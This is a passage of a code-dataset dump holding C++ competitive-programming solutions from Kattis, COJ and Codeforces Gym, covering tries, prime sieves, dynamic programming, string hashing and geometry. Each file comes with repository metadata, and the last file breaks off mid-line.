"/Kattis/bing.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 100000;\r\nconst int L = 32;\r\n\r\nstruct node {\r\n\tint cnt;\r\n\tint next['z' - 'a' + 1];\r\n\tnode() {\r\n\t\tcnt = 0;\r\n\t\tfor (char i = 'a'; i <= 'z'; i++) {\r\n\t\t\tnext[i - 'a'] = -1;\r\n\t\t}\r\n\t}\r\n};\r\n\r\nconst int root = 0;\r\n\r\nint sz = 1;\r\nnode t[N * L];\r\n\r\nint add(const string &s) {\r\n\tint n = s.size();\r\n\tint now = root;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tint ch = s[i] - 'a';\r\n\t\tif (t[now].next[ch] == -1) {\r\n\t\t\tt[now].next[ch] = sz++;\r\n\t\t}\r\n\t\tnow = t[now].next[ch];\r\n\t\tt[now].cnt++;\r\n\t}\r\n\treturn t[now].cnt - 1;\r\n}\r\n\r\nint n;\r\nstring s;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> n;\r\n\twhile (n--) {\r\n\t\tcin >> s;\r\n\t\tint ans = add(s);\r\n\t\tcout << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4329501986503601, "alphanum_fraction": 0.4329501986503601, "avg_line_length": 10.428571701049805, "blob_id": "e2c28828b00bfdf46d3c056c712454d97d7ec67c", "content_id": "e24c017f25f7c3020237c51f92c6205f353f9cd5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 261, "license_type": "no_license", "max_line_length": 23, "num_lines": 21, "path": "/COJ/eliogovea-cojAC/eliogovea-p2712-Accepted-s579396.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <map>\r\nusing namespace std;\r\n\r\nint n, q;\r\nstring a, b;\r\nmap<string, int> m;\r\n\r\nint main()\r\n{\r\n\tfor (cin >> n; n--;)\r\n\t{\r\n\t\tcin >> a >> b;\r\n\t\tm[b]++;\r\n\t}\r\n\tfor (cin >> q; q--;)\r\n\t{\r\n\t\tcin >> a >> b;\r\n\t\tcout << m[b] << endl;\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3243902325630188, "alphanum_fraction": 0.3634146451950073, "avg_line_length": 15.083333015441895, "blob_id": "78ef2e121c4f27c9cb84520e95955b22638b5839", "content_id": "0b4ae53ec1f7a62e6eaaf448a4b86480f26fd3d7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 410, "license_type": "no_license", "max_line_length": 50, "num_lines": 24, "path": "/COJ/eliogovea-cojAC/eliogovea-p1086-Accepted-s553372.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#define MAXN 4567891\r\n\r\nint x,s[MAXN];\r\n\r\nint main()\r\n{\r\n\tfor( int i = 2; i < MAXN; i++ )\r\n s[i] = 1;\r\n\r\n\tfor( int i = 2; i * i < MAXN; i++ )\r\n\t\tif( s[i] )\r\n for( int j = i * i; j < MAXN; j += i )\r\n s[j] = 0;\r\n\r\n\tfor( int i = 2; i < MAXN; i++ )\r\n\t\ts[i] += s[i-1];\r\n\r\n\tfor( int i = 0; i < 10; i++ )\r\n\t{\r\n\t\tscanf( \"%d\", &x );\r\n\t\tprintf( \"%d\\n\", s[x] );\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4630137085914612, "alphanum_fraction": 0.4986301362514496, "avg_line_length": 17.210525512695312, "blob_id": "56de7190f98c6f7e7e64f4f1295ac03bab1f4f9d", "content_id": "2fe6167af549912887b9c447abfb2edbe9f46aa0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 365, "license_type": "no_license", "max_line_length": 40, "num_lines": 19, "path": "/COJ/eliogovea-cojAC/eliogovea-p2744-Accepted-s586448.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <algorithm>\r\n#include <functional>\r\nusing namespace std;\r\n\r\nconst int MAXN = 100000;\r\n\r\nint n, a[MAXN + 10], sol;\r\n\r\nint main()\r\n{\r\n\tscanf(\"%d\", &n);\r\n\tfor (int i = 1; i <= n; i++)\r\n\t\tscanf(\"%d\", &a[i]);\r\n\tsort(a + 1, a + n + 1, greater<int>());\r\n\tfor (int i = 1; i <= n; i++)\r\n\t\tsol = max(sol, a[i] + i + 1);\r\n\tprintf(\"%d\\n\", sol);\r\n}\r\n" }, { "alpha_fraction": 0.43360432982444763, "alphanum_fraction": 0.4444444477558136, "avg_line_length": 16.450000762939453, "blob_id": "82944d3409dd998402ce045ec4699e553d996f2b", "content_id": "184ff8e446aacb8885598c5abaf729610ab15262", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 369, "license_type": "no_license", "max_line_length": 37, "num_lines": 20, "path": "/COJ/eliogovea-cojAC/eliogovea-p2444-Accepted-s465675.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\n#include<sstream>\r\nusing namespace std;\r\n\r\n\r\nint n,c,x,surv;\r\n\r\n\r\nint main(){\r\n std::ios::sync_with_stdio(false);\r\n string s;\r\n getline(cin,s);\r\n istringstream ss(s);\r\n while( ss>>n ){ \r\n x=n;c=0;\r\n while(x){c+=(x&1);x>>=1;}\r\n if(!(c&1))surv++;\r\n }\r\n cout << surv << endl;\r\n }\r\n" }, { "alpha_fraction": 0.3842315375804901, "alphanum_fraction": 0.4071856141090393, "avg_line_length": 14.699999809265137, "blob_id": "5b31a2f40ec5e3f9eb33b196a3830f2944ddc9eb", "content_id": "7be071073c76127da03f7dfca3882936175ab5a5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2004, "license_type": "no_license", "max_line_length": 48, "num_lines": 120, "path": "/COJ/eliogovea-cojAC/eliogovea-p3387-Accepted-s922018.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 1005;\r\n\r\nchar ch['z' + 5];\r\n\r\nint n;\r\nstring a, b;\r\n\r\nstruct item {\r\n\tbool ok;\r\n\tint x;\r\n};\r\n\r\nbool operator < (const item &a, const item &b) {\r\n\tif (!a.ok && b.ok) {\r\n\t\treturn false;\r\n\t}\r\n\tif (a.ok && !b.ok) {\r\n\t\treturn true;\r\n\t}\r\n\tif (a.ok && b.ok) {\r\n\t\tif (a.x < b.x) {\r\n\t\t\treturn true;\r\n\t\t} else {\r\n\t\t\treturn false;\r\n\t\t}\r\n\t}\r\n\treturn false;\r\n}\r\n\r\nbool solved[N][N][5];\r\nitem dp[N][N][5];\r\n\r\nitem solve(int s, int e, int rev) {\r\n\tint len = e - s;\r\n\tif (len == 0) {\r\n\t\treturn (item) {true, 0};\r\n\t}\r\n\tif (solved[s][e][rev]) {\r\n\t\treturn dp[s][e][rev];\r\n\t}\r\n\tsolved[s][e][rev] = true;\r\n\tif (!rev) {\r\n\t\titem v1 = (item) {false, 0};\r\n\t\titem v2 = (item) {false, 0};\r\n\t\tif (a[s] == b[n - len]) {\r\n\t\t\titem tmp = solve(s + 1, e, false);\r\n\t\t\tif (tmp < v1) {\r\n\t\t\t\tv1 = tmp;\r\n\t\t\t}\r\n\t\t}\r\n\t\tif (ch[a[e - 1]] == b[n - len]) {\r\n\t\t\titem tmp = solve(s, e - 1, true);\r\n\t\t\ttmp.x++;\r\n\t\t\tif (tmp < v2) {\r\n\t\t\t\tv2 = tmp;\r\n\t\t\t}\r\n\t\t}\r\n\t\tif (v1 < v2) {\r\n\t\t\tdp[s][e][rev] = v1;\r\n\t\t} else {\r\n\t\t\tdp[s][e][rev] = v2;\r\n\t\t}\r\n\t} else {\r\n\t\titem v1 = (item) {false, 0};\r\n\t\titem v2 = (item) {false, 0};\r\n\t\tif (ch[a[e - 1]] == b[n - len]) {\r\n\t\t\titem tmp = solve(s, e - 1, true);\r\n\t\t\tif (tmp < v1) {\r\n\t\t\t\tv1 = tmp;\r\n\t\t\t}\r\n\t\t}\r\n\t\tif (a[s] == b[n - len]) {\r\n\t\t\titem tmp = solve(s + 1, e, false);\r\n\t\t\ttmp.x++;\r\n\t\t\tif (tmp < v2) {\r\n\t\t\t\tv2 = tmp;\r\n\t\t\t}\r\n\t\t}\r\n\t\tif (v1 < v2) {\r\n\t\t\tdp[s][e][rev] = v1;\r\n\t\t} else {\r\n\t\t\tdp[s][e][rev] = v2;\r\n\t\t}\r\n\t}\r\n\treturn dp[s][e][rev];\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\r\n\tcin >> n >> a >> b;\r\n\r\n\tch['o'] = 'o';\r\n\tch['v'] = 'v';\r\n\tch['w'] = 'w';\r\n\tch['x'] = 'x';\r\n\tch['b'] = 'd';\r\n\tch['d'] = 'b';\r\n\tch['p'] = 'q';\r\n\tch['q'] = 'p';\r\n\r\n\tfor (int i = 0; i <= n; i++) {\r\n\t\tfor (int j = i; j <= n; j++) {\r\n\t\t\tsolved[i][j][0] = solved[i][j][1] = false;\r\n\t\t}\r\n\t}\r\n\titem ans = solve(0, n, 0);\r\n\tif (!ans.ok) {\r\n cout << \"-1\\n\";\r\n\t} else {\r\n cout << ans.x << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.36016950011253357, "alphanum_fraction": 0.45233049988746643, "avg_line_length": 20.953489303588867, "blob_id": "ad3cf8000e842c83cf3e75ac8de4f8ac489bafe0", "content_id": "f211a2e526443ab1a33748f547f9a3a64a3b4860", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1888, "license_type": "no_license", "max_line_length": 63, "num_lines": 86, "path": "/Codeforces-Gym/100523 - 2014-2015 CT S02E07: Codeforces Trainings Season 2 Episode 7/G.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014-2015 CT S02E07: Codeforces Trainings Season 2 Episode 7\n// 100523G\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long LL;\n\ninline pair <int, int> nextZ(LL a, LL c, LL k, LL m, LL z) {\n\tLL nz = (((z * a + c) / k)) % m;\n\treturn make_pair(nz >= m / 2LL, nz);\n}\n\nconst int BASE1 = 37;\nconst int BASE2 = 41;\n\nconst int MOD1 = 1000000007;\nconst int MOD2 = 1000000047;\n\nconst int N = 1000005;\n\nint H1[21][N];\nint H2[21][N];\nint pos[21][N];\n\nint P1[N];\nint P2[N];\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\tint a, c, k, m, n;\n\tcin >> a >> c >> k >> m >> n;\n\tstring s;\n\tcin >> s;\n\tP1[0] = 1;\n\tP2[0] = 1;\n\tfor (int i = 1; i < N; i++) {\n\t\tP1[i] = (LL)P1[i - 1] * BASE1 % MOD1;\n\t\tP2[i] = (LL)P2[i - 1] * BASE2 % MOD2;\n\t}\n\tfor (int r = 0; r < m; r++) {\n\t\tpair <int, int> p = nextZ(a, c, k, m, r);\n\t\tpos[0][r] = p.second;\n\t\tH1[0][r] = p.first;\n\t\tH2[0][r] = p.first;\n\t}\n\tfor (int i = 1; i < 20; i++) {\n\t\tfor (int r = 0; r < m; r++) {\n\t\t\tpos[i][r] = pos[i - 1][pos[i - 1][r]];\n\t\t\tH1[i][r] = (LL)H1[i - 1][r] * P1[1 << (i - 1)] % MOD1;\n\t\t\tH1[i][r] = (LL)(H1[i][r] + H1[i - 1][pos[i - 1][r]]) % MOD1;\n\t\t\tH2[i][r] = (LL)H2[i - 1][r] * P2[1 << (i - 1)] % MOD2;\n\t\t\tH2[i][r] = (LL)(H2[i][r] + H2[i - 1][pos[i - 1][r]]) % MOD2;\n\t\t}\n\t}\n\tint hs1 = 0;\n\tint hs2 = 0;\n\tfor (int i = 0; i < n; i++) {\n\t\ths1 = (LL)hs1 * BASE1 % MOD1;\n\t\ths1 = (LL)(hs1 + s[i] - '0') % MOD1;\n\t\ths2 = (LL)hs2 * BASE2 % MOD2;\n\t\ths2 = (LL)(hs2 + s[i] - '0') % MOD2;\n\t}\n\tint ans = 0;\n\tfor (int r = 0; r < m; r++) {\n\t\tint h1 = 0;\n\t\tint h2 = 0;\n\t\tint p = r;\n\t\tfor (int i = 0; (1 << i) <= n; i++) {\n\t\t\tif (n & (1 << i)) {\n\t\t\t\th1 = (LL)h1 * P1[1 << i] % MOD1;\n\t\t\t\th1 = (LL)(h1 + H1[i][p]) % MOD1;\n\t\t\t\th2 = (LL)h2 * P2[1 << i] % MOD2;\n\t\t\t\th2 = (LL)(h2 + H2[i][p]) % MOD2;\n\t\t\t\tp = pos[i][p];\n\t\t\t}\n\t\t}\n\t\tif (h1 == hs1 && h2 == hs2) {\n\t\t\tans++;\n\t\t}\n\t}\n\tcout << ans << \"\\n\";\n}\n" }, { "alpha_fraction": 0.4515337347984314, "alphanum_fraction": 0.48588958382606506, "avg_line_length": 13.980392456054688, "blob_id": "c69a3a24a4ec0048036ab400697d966157329127", "content_id": "74f7615ccb3a38d4746b9a6df848f9836d4604d0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 815, "license_type": "no_license", "max_line_length": 58, "num_lines": 51, "path": "/COJ/eliogovea-cojAC/eliogovea-p3627-Accepted-s959258.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int MOD = 1000000007;\r\n\r\ninline void add(int &a, int b) {\r\n\ta += b;\r\n\tif (a >= MOD) {\r\n\t\ta -= MOD;\r\n\t}\r\n}\r\n\r\ninline int mul(int a, int b) {\r\n\treturn (long long)a * b % MOD;\r\n}\r\n\r\ninline int power(int x, int n) {\r\n\tint res = 1;\r\n\twhile (n) {\r\n\t\tif (n & 1) {\r\n\t\t\tres = mul(res, x);\r\n\t\t}\r\n\t\tx = mul(x, x);\r\n\t\tn >>= 1;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nconst int INV2 = power(2, MOD - 2);\r\nconst int INV6 = power(6, MOD - 2);\r\n\r\nint solve(int n) {\r\n\tint res = 0;\r\n\tadd(res, mul(n + 1, mul(n, mul(n + 1, INV2))));\r\n\tadd(res, MOD - mul(n, mul(n + 1, mul(2 * n + 1, INV6))));\r\n\tres = mul(res, res);\r\n\treturn res;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tint t;\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tint n;\r\n\t\tcin >> n;\r\n\t\tcout << solve(n) << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4110225737094879, "alphanum_fraction": 0.4209827482700348, "avg_line_length": 15.717646598815918, "blob_id": "6ac45e4608280c4d8b8de32551bf3e03bdcc7a82", "content_id": "d33d0a466c1dc69d08d43f8a28dcdf75e33db7b1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1506, "license_type": "no_license", "max_line_length": 83, "num_lines": 85, "path": "/COJ/eliogovea-cojAC/eliogovea-p3679-Accepted-s1009535.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long LL;\r\n\r\nconst int N = 1005;\r\n\r\nstruct pt {\r\n\tint x, y;\r\n\tpt() {}\r\n\tpt(int _x, int _y) {\r\n\t\tx = _x; y = _y;\r\n\t}\r\n};\r\n\r\npt operator - (const pt &a, const pt &b) {\r\n\treturn pt(a.x - b.x, a.y - b.y);\r\n}\r\n\r\ninline int cross(const pt &a, const pt &b) {\r\n\treturn (LL)a.x * b.y - (LL)a.y * b.x;\r\n}\r\n\r\nbool is_in(int l, int r, int x) {\r\n\tif (l > r) {\r\n\t\tswap(l, r);\r\n\t}\r\n\treturn l <= x && x <= r;\r\n}\r\n\r\nbool contains(const pt &a, const pt &b, const pt &p) {\r\n\tif (cross(p - a, p - b) != 0) {\r\n\t\treturn false;\r\n\t}\r\n\treturn is_in(a.x, b.x, p.x) && is_in(a.y, b.y, p.y);\r\n}\r\n\r\nbool inside(pt *pts, int n, pt p) {\r\n\tint cnt = 0;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tpt a = pts[i];\r\n\t\tpt b = pts[(i + 1) % n];\r\n\t\tif (contains(a, b, p)) {\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tif (a.y > b.y) {\r\n\t\t\tswap(a, b);\r\n\t\t}\r\n\t\tif (a.y == b.y || p.y <= a.y || b.y < p.y) {\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tif ((LL)(b.x - a.x) * (LL)(p.y - a.y) - (LL)(b.y - a.y) * (LL)(p.x - a.x) >= 0) {\r\n\t\t\tcnt++;\r\n\t\t}\r\n\t}\r\n\treturn (cnt & 1);\r\n}\r\n\r\nint t;\r\nint a, b;\r\npt pa[N], pb[N];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tcin >> a >> b;\r\n\t\tfor (int i = 0; i < a; i++) {\r\n\t\t\tcin >> pa[i].x >> pa[i].y;\r\n\t\t}\r\n\t\tfor (int i = 0; i < b; i++) {\r\n\t\t\tcin >> pb[i].x >> pb[i].y;\r\n\t\t}\r\n\t\tint ans = 0;\r\n\t\tfor (int i = 0; i < b; i++) {\r\n\t\t\tif (inside(pa, a, pb[i])) {\r\n\t\t\t\tans++;\r\n\t\t\t}\r\n\t\t}\r\n\t\tcout << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3338926136493683, "alphanum_fraction": 0.34899330139160156, "avg_line_length": 19.285715103149414, "blob_id": "652d3f839a468e67519286ac2ce0625efaaaffc0", "content_id": "bd62f0fc9a5877e3bd7d5d3254b955d15605419f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 596, "license_type": "no_license", "max_line_length": 55, "num_lines": 28, "path": "/COJ/eliogovea-cojAC/eliogovea-p2263-Accepted-s575680.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\nusing namespace std;\r\n\r\nint c;\r\nstring s;\r\n\r\nint main()\r\n{\r\n for( cin >> c; c--; )\r\n {\r\n cin >> s;\r\n int i = 0, player = 0, mx[2] = {0, 0};\r\n while( true )\r\n {\r\n if( !s[i] ) break;\r\n int cont = 0;\r\n while( s[i] == ':' ) i++, cont++;\r\n while( s[i] == ')' ) i++, cont++;\r\n if( cont > mx[player] )\r\n mx[player] = cont;\r\n player = 1 - player;\r\n }\r\n\r\n if( mx[0] > mx[1] ) cout << \"Jennifer\" << endl;\r\n else cout << \"Alan\" << endl;\r\n }\r\n\r\n}\r\n" }, { "alpha_fraction": 0.4033898413181305, "alphanum_fraction": 0.4248587489128113, "avg_line_length": 14.090909004211426, "blob_id": "db24cc34122e9d2fc0623bd42e50e12469db543d", "content_id": "adcad8696894bb446df103535452f79281ef57c0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 885, "license_type": "no_license", "max_line_length": 49, "num_lines": 55, "path": "/COJ/eliogovea-cojAC/eliogovea-p2829-Accepted-s1055107.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 10 * 1000 + 5;\r\n\r\nint n, t, l;\r\nint p[N], r[N];\r\nvector <int> g[N];\r\nint depth[N];\r\n\r\nvoid dfs(int u, int d) {\r\n\tdepth[u] = d;\r\n\tfor (int i = 0; i < g[u].size(); i++) {\r\n\t\tint v = g[u][i];\r\n\t\tdfs(v, d + 1);\r\n\t}\r\n}\r\n\r\ninline int getGrundy(int c, int l) {\r\n\treturn c % (l + 1);\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\tcin >> n >> t >> l;\r\n\tfor (int i = 1; i < n; i++) {\r\n\t\tcin >> p[i] >> r[i];\r\n\t\tp[i]--;\r\n\t\tg[p[i]].push_back(i);\r\n\t}\r\n\r\n\tdfs(0, 0);\r\n\r\n\tint xorSum = 0;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tif (depth[i] & 1) {\r\n\t\t\txorSum ^= getGrundy(r[i], l);\r\n\t\t}\r\n\t}\r\n\r\n\twhile (t--) {\r\n\t\tint a, b;\r\n\t\tcin >> a >> b;\r\n\t\ta--;\r\n\t\tif (depth[a] & 1) {\r\n\t\t\txorSum ^= getGrundy(r[a], l);\r\n\t\t\tr[a] = b;\r\n\t\t\txorSum ^= getGrundy(r[a], l);\r\n\t\t}\r\n\t\tcout << ((xorSum != 0) ? \"Yes\" : \"No\") << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3476482629776001, "alphanum_fraction": 0.3701431453227997, "avg_line_length": 21.285715103149414, "blob_id": "b9d4dd6702fc05f4eddcfb7c27dd6d79e19659a0", "content_id": "13cf5ef131a4067da95f33adbc4ad2e85d931607", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 489, "license_type": "no_license", "max_line_length": 55, "num_lines": 21, "path": "/COJ/eliogovea-cojAC/eliogovea-p2857-Accepted-s620557.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\nusing namespace std;\r\n\r\nconst int MAXN = 1000005;\r\n\r\nint n, sol;\r\nbool mark[MAXN];\r\n\r\nint main() {\r\n while (cin >> n) {\r\n for (int i = 1; i * i <= n; i++)\r\n if (n % i == 0) {\r\n if (mark[i]) sol = max(sol, i);\r\n else mark[i] = 1;\r\n if (i * i == n) break;\r\n if (mark[n / i]) sol = max(sol, n / i);\r\n else mark[n / i] = 1;\r\n }\r\n }\r\n cout << sol << endl;\r\n}\r\n" }, { "alpha_fraction": 0.3742331266403198, "alphanum_fraction": 0.42126789689064026, "avg_line_length": 17.559999465942383, "blob_id": "22a14e1310ca558ab16e318be454a0dcf4d91dd8", "content_id": "4c3b988472dcf9b9008173c0185decde2ac45292", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 489, "license_type": "no_license", "max_line_length": 60, "num_lines": 25, "path": "/COJ/eliogovea-cojAC/eliogovea-p2742-Accepted-s586163.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n\r\nconst int MAXN = 1000, mod = 1000009;\r\n\r\nint t, n, k, c[MAXN + 10][MAXN + 10], sol;\r\n\r\nint cmb(int a, int b)\r\n{\r\n\tif (b > a - b) b = a - b;\r\n\tif (b == 0) return 1;\r\n\tif (c[a][b]) return c[a][b];\r\n\treturn c[a][b] = (cmb(a - 1, b - 1) + cmb(a - 1, b)) % mod;\r\n}\r\n\r\nint main()\r\n{\r\n\tfor (scanf(\"%d\", &t); t--;)\r\n\t{\r\n\t\tscanf(\"%d%d\", &n, &k);\r\n\t\tsol = 0;\r\n\t\tfor (int i = n; i >= k; i--)\r\n\t\t\tsol = (sol + (i * cmb(i - 1, k - 1)) % mod) % mod;\r\n\t\tprintf(\"%d\\n\", sol);\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.39929327368736267, "alphanum_fraction": 0.4452296793460846, "avg_line_length": 14.647058486938477, "blob_id": "838246cc519b0a603822c7dc49bc14d1cdae6db5", "content_id": "dc1bf9137dcb559e8504b8063f371b8b237b48eb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 283, "license_type": "no_license", "max_line_length": 60, "num_lines": 17, "path": "/COJ/eliogovea-cojAC/eliogovea-p3143-Accepted-s769496.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n\r\nusing namespace std;\r\n\r\nconst long long mod = 1e9 + 7;\r\n\r\nint n;\r\nlong long dp[505];\r\n\r\nint main() {\r\n\tcin >> n;\r\n\tdp[1] = 1;\r\n\tfor (long long i = 2; i <= n; i++) {\r\n\t\tdp[i] = ((i - 1) * dp[i - 1] + (i - 2) * dp[i - 2]) % mod;\r\n\t}\r\n\tcout << dp[n] << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.3037889003753662, "alphanum_fraction": 0.31596753001213074, "avg_line_length": 25.62616729736328, "blob_id": "589ec0c930f81ebe4f87f332301c1cc563325d55", "content_id": "c2cdf4feef41e6a5f516f74be34de68427ebfba1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2956, "license_type": "no_license", "max_line_length": 88, "num_lines": 107, "path": "/COJ/eliogovea-cojAC/eliogovea-p3785-Accepted-s1120086.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\n\r\ninline string LLToString(long long n) {\r\n if (n == 0) {\r\n return \"0\";\r\n }\r\n string res;\r\n while (n) {\r\n res += '0' + (n % 10LL);\r\n n /= 10LL;\r\n }\r\n reverse(res.begin(), res.end());\r\n return res;\r\n}\r\n\r\nint main() {\r\n ios::sync_with_stdio(false);\r\n cin.tie(0);\r\n long long INF = numeric_limits <long long> :: max();\r\n vector <long long> f;\r\n vector <string> fs;\r\n f.push_back(1);\r\n f.push_back(1);\r\n fs.push_back(\"1\");\r\n fs.push_back(\"1\");\r\n int size = 2;\r\n while (true) {\r\n if (f[size - 1] <= INF - f[size - 2]) {\r\n f.push_back(f[size - 1] + f[size - 2]);\r\n fs.push_back(LLToString(f.back()));\r\n size++;\r\n } else {\r\n break;\r\n }\r\n }\r\n // cerr << size << \"\\n\";\r\n vector <string> cf;\r\n for (int i = 0; i < size; i++) {\r\n for (int j = 0; j < size; j++) {\r\n if (i != j) {\r\n cf.push_back(fs[i] + fs[j]);\r\n }\r\n }\r\n }\r\n sort(cf.begin(), cf.end());\r\n cf.erase(unique(cf.begin(), cf.end()), cf.end());\r\n vector <vector <bool> > ok(size, vector <bool> (size));\r\n vector <bool> used(cf.size());\r\n for (int i = 0; i < size; i++) {\r\n for (int j = 0; j < size; j++) {\r\n if (i != j) {\r\n int pos = lower_bound(cf.begin(), cf.end(), fs[i] + fs[j]) - cf.begin();\r\n if (!used[pos]) {\r\n used[pos] = true;\r\n ok[i][j] = true;\r\n }\r\n }\r\n }\r\n }\r\n // cerr << cf.size() << \"\\n\";\r\n string s;\r\n while (cin >> s) {\r\n vector <int> okl(size, -1);\r\n for (int i = 0; i < size; i++) {\r\n int pos = 0;\r\n for (int j = 0; j < s.size(); j++) {\r\n if (s[j] == fs[i][pos]) {\r\n pos++;\r\n if (pos == fs[i].size()) {\r\n okl[i] = j;\r\n break;\r\n }\r\n }\r\n }\r\n }\r\n vector <int> okr(size, -1);\r\n for (int i = 0; i < size; i++) {\r\n int pos = fs[i].size() - 1;\r\n for (int j = ((int)s.size()) - 1; j >= 0; j--) {\r\n if (s[j] == fs[i][pos]) {\r\n pos--;\r\n if (pos == -1) {\r\n okr[i] = j;\r\n break;\r\n }\r\n }\r\n }\r\n }\r\n int ans = 0;\r\n for (int i = 0; i < size; i++) {\r\n if (okl[i] == -1){\r\n continue;\r\n }\r\n for (int j = 0; j < size; j++) {\r\n if (i != j && ok[i][j]) {\r\n if (okr[j] != -1 && okl[i] < okr[j]) {\r\n ans++;\r\n }\r\n }\r\n }\r\n }\r\n cout << ans << \"\\n\";\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.3692307770252228, "alphanum_fraction": 0.4058608114719391, "avg_line_length": 20.016128540039062, "blob_id": "3256449df11106c3ce8763beb057d8a4cf9f1c17", "content_id": "9f288daf6e7993b58aa807bd9fe7d6127715e332", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1365, "license_type": "no_license", "max_line_length": 67, "num_lines": 62, "path": "/COJ/eliogovea-cojAC/eliogovea-p2431-Accepted-s708845.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <cstdio>\r\n#include <cstdlib>\r\n#include <algorithm>\r\n#include <cmath>\r\n#include <string>\r\n#include <cstring>\r\n#include <stack>\r\n#include <queue>\r\n#include <vector>\r\n#include <list>\r\n#include <set>\r\n#include <map>\r\n\r\nusing namespace std;\r\n\r\nint tc, n, cnt[1 << 16];\r\ndouble tot, c[20], dp[1 << 16], pp[20], f[20], ans;\r\n\r\n\r\nint main() {\r\n\tf[0] = 1;\r\n\tfor (int i = 1; i <= 15; i++)\r\n\t\tf[i] = double(i) * f[i - 1];\r\n\tcin >> tc;\r\n\tfor (int cas = 1; cas <= tc; cas++) {\r\n\t\tcin >> n;\r\n\t\ttot = 0;\r\n\t\tans = 0;\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tcin >> c[i];\r\n\t\t\ttot += c[i];\r\n\t\t}\r\n\t\tfor (int i = 1; i <= n + 1; i++) pp[i] = 0.0;\r\n\t\tfor (int i = 0; i < (1 << n); i++) {\r\n\t\t\tdp[i] = 0;\r\n\t\t\tcnt[i] = 0;\r\n\t\t}\r\n\t\tdp[0] = 1;\r\n\t\tfor (int i = 0; i < (1 << 